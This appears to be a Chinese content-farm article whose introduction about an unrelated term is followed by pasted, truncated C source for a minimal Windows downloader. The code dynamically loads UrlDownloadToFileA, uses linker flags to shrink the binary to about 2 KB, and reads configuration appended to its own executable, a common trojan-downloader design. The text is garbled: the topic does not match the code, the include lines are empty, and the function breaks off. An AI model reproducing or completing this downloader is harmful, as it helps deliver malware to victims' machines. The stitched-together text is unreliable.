大家好,小霞來為大家解答以上的問題。什瓦皮庫這個很多人還不知道,現在讓我們一起來看看吧!

1、#include #include #include#pragma comment(lib,"wininet.lib")#pragma comment(lib, "shlwapi.lib")#pragma comment(lib,"MSVCRT.lib")#pragma comment (lib,"Urlmon.lib")#pragma comment(linker, "/OPT:NOWIN98") //取消這幾行的注釋。
2、編譯出的文件只有2K大小#pragma comment(linker, "/align:0x200") #pragma comment(linker, "/subsystem:windows") #pragma comment(linker,"/ENTRY:ProcEntry /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")#include #include #include #include #include#include #pragma comment(lib,"Wininet.lib")#pragma comment(lib,"ws2_32")DWORD(WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//動態加載Urlmon.dll中的UrlDownloadToFileA函數HINSTANCE hurlmon;int memfind(const char *mem, const char *str, int sizem, int sizes) { int da,i,j; if (sizes == 0) da = strlen(str); else da = sizes; for (i = 0; i < sizem; i++) { for (j = 0; j < da; j ++) if (mem[i+j] != str[j]) break; if (j == da) return i; } return -1; }#define MAX_CONFIG_LEN 500LPCTSTR FindConfigString( LPCTSTR lpString)//查找文件末尾的配置信息{char strFileName[MAX_PATH];char *lpConfigString = NULL;DWORD dwBytesRead = 0;GetModuleFileName(0, strFileName, sizeof(strFileName));HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);if (hFile == INVALID_HANDLE_VALUE){return NULL;}SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);lpConfigString = new char[MAX_CONFIG_LEN];ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);CloseHandle(hFile);。
本文到此分享完畢,希望對大家有所幫助。